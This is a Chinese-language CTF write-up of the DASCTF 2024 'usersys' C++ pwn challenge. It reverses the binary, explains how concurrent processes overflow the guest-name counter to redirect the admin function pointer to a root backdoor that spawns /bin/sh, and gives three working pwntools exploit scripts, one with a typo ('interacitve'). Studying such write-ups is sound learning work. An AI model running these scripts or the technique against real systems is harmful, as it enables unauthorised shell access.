您现在的位置是:首页 >学无止境 >DASCTF 2024金秋十月 usersys学习记录|C++ PWN学习记录网站首页学无止境
DASCTF 2024金秋十月 usersys学习记录|C++ PWN学习记录
前言
题目非常有意思,使用了三个进程来利用逻辑上的漏洞,并且是一个C++的题目,之前大学期间从来没有认真看过C++的题目,这次借这个机会来学习一下C++的PWN题,虽然题目只有1解,但是耐下心去看题,去思考,是可以发现题目的亮点的,过年放假期间一直在研究这个题,感觉出的非常有水平,记录学习一下。
题目逆向分析
主函数Main
我这里重新命名了一部分函数来方便分析,主函数首先通过operator new函数生成了三个堆块,之后将生成三个堆块的地址带入到guest_func、root_func、admin_func函数中,并且将堆地址写入到bss段中,也就是我这里命名的guest_func_addr、root_func_addr、admin_func_addr
之后进入到一个简单的菜单,通过选择root、admin、guest用户登录来进行下一步的操作,如果输入root用户登录,那么将会打印no,the system don't have root user,之后重新进入while循环让PWN手选择用户进行登录,登录admin用户会调用admin_func函数,登录guest用户则会调用guest_func函数。
guest_func函数
题目首先会调用sub_2B24函数
sub_2B24函数应该是一个读取Guest_Data文件,之后将Guest_Data文件的内容重新刷一遍
接着guest_func函数会检测a1+0x40位置的值是否大于4,如果大于4那么就无法在保存guest用户的名字
guest用户在留下用户名前会再次调用sub_2B24函数,之后输入用户名后登出
root_func函数
root用户就是后门,会调用system函数执行/bin/sh
admin_func函数
admin用户会有三个选项,分别是show、clear、logout,也就是字面意思展示出全部的guest用户名,清掉所有的guest用户名,登出。
clear功能
clear的时候会将guest堆块中的所有用户名置0,同时会将a1+0x40位置的用户名数量置0,不存在什么问题
show功能
show就是简单的将堆块中所有的用户名通过&std::cout打印出来
漏洞点
题目漏洞点在于,题目将guest用户的用户名使用文件的形成进行存储,用户在调用guest_func函数进行输入用户名时,只在开头检测了用户名的数量,之后就可以进行输入用户名,没有检测用户名数量,因此可以越界写到a1+0x40的用户名数量位置,更改用户名数量,并且我们可以注意到read函数是通过a1+0x40位置的值来进行指定位置读写,因此我们在没有泄露地址的情况下,可以做到局部的任意地址写。官方WP也写的很清楚,可以通过第一个进程输入4个用户名,之后开启第二个进行在输入一个用户名。此时,用户名已经写满五个,但我们第一个进程已经过了用户名数量的检测,因此可以再次写一个名字到a1+0x40的位置,也就是用户数量的位置,最后达到局部的任意地址写
动态调试
通过gdb动态调试可以看到bss段中0x62e8到0x62f8的位置为guest、root、admin用户堆块的地址
之后我们查看一下guest用户堆块中的内容
之后我们再起两个终端到输入guest用户名的地方,我们使用第三个进程来填充满guest用户名的数量,之后使用第二个修改用户名的数量
可以看到我们当我们劫持用户名的数量为10的时候,正好可以修改到admin_func函数的地址,我们将x20劫持为x50就可以在登录admin用户后实际上登录的是root用户
我们将断点打在read函数调试查看
之后我们就可以劫持admin_func的地址到root_func的地址
此时admin的地址已经被我们劫持为root的地址
之后我们正常登录admin用户就可以成功拿到shell
漏洞利用脚本
官方的WP只给了思路,但是没有给具体的exp,这里我分享一下我写exp吧,我这里一共写了三个exp,通过执行系统命令与sleep函数来实现三个进程的配合,在使用exp时请将exp.py、exp2.py、exp3.py放在同一目录下,之后执行exp.py即可
exp.py
#!/usr/bin/env python
#coding=utf-8
from pwn import*
import os
import sys
#io = remote('node5.buuoj.cn',26921)
io = process('./pwn')
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')
def menu(user):
io.recvuntil("hello! who are u[root/admin/guest]")
io.sendline(user)
def admin(choice):
io.recvuntil("show all guest names/clear guest book/logout[show/clear/logout]")
io.sendline(choice)
def guest(name):
io.recvuntil("wanna leave your name?[y/n]")
io.sendline("y")
io.recvuntil(">>>")
io.sendline(name)
menu("admin")
admin("clear")
admin("logout")
menu("guest")
guest("test1")
menu("guest")
guest("test2")
menu("guest")
guest("test3")
menu("guest")
guest("test4")
menu("guest")
#time.sleep(1)
os.system("gnome-terminal -e 'python3 exp2.py'")
#os.system("gnome-terminal -e 'bash -c "python3 exp2.py; exec bash"'")
time.sleep(5)
#gdb.attach(io,"b *$rebase(0x2f3b)")
io.recvuntil("wanna leave your name?[y/n]")
io.sendline("y")
io.recvuntil(">>>")
io.send(p8(0x50))
menu("admin")
io.interactive()
exp2.py
#!/usr/bin/env python
#coding=utf-8
from pwn import*
import os
io = remote('node5.buuoj.cn',26921)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')
def menu(user):
io.recvuntil("hello! who are u[root/admin/guest]")
io.sendline(user)
def guest(name):
io.recvuntil("wanna leave your name?[y/n]")
io.sendline("y")
io.recvuntil(">>>")
io.sendline(name)
io.recvuntil("hello! who are u[root/admin/guest]")
io.sendline("guest")
io.recvuntil("wanna leave your name?[y/n]")
os.system("gnome-terminal -e 'python3 exp3.py'")
sleep(2)
io.sendline("y")
io.sendline(p64(10))
exp3.py
#coding=utf-8
from pwn import*
import os
io = remote('node5.buuoj.cn',26921)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')
def menu(user):
io.recvuntil("hello! who are u[root/admin/guest]")
io.sendline(user)
def guest(name):
io.recvuntil("wanna leave your name?[y/n]")
io.sendline("y")
io.recvuntil(">>>")
io.sendline(name)
io.recvuntil("hello! who are u[root/admin/guest]")
io.sendline("guest")
io.recvuntil("wanna leave your name?[y/n]")
io.sendline("y")
io.sendline("test5")
io.interacitve()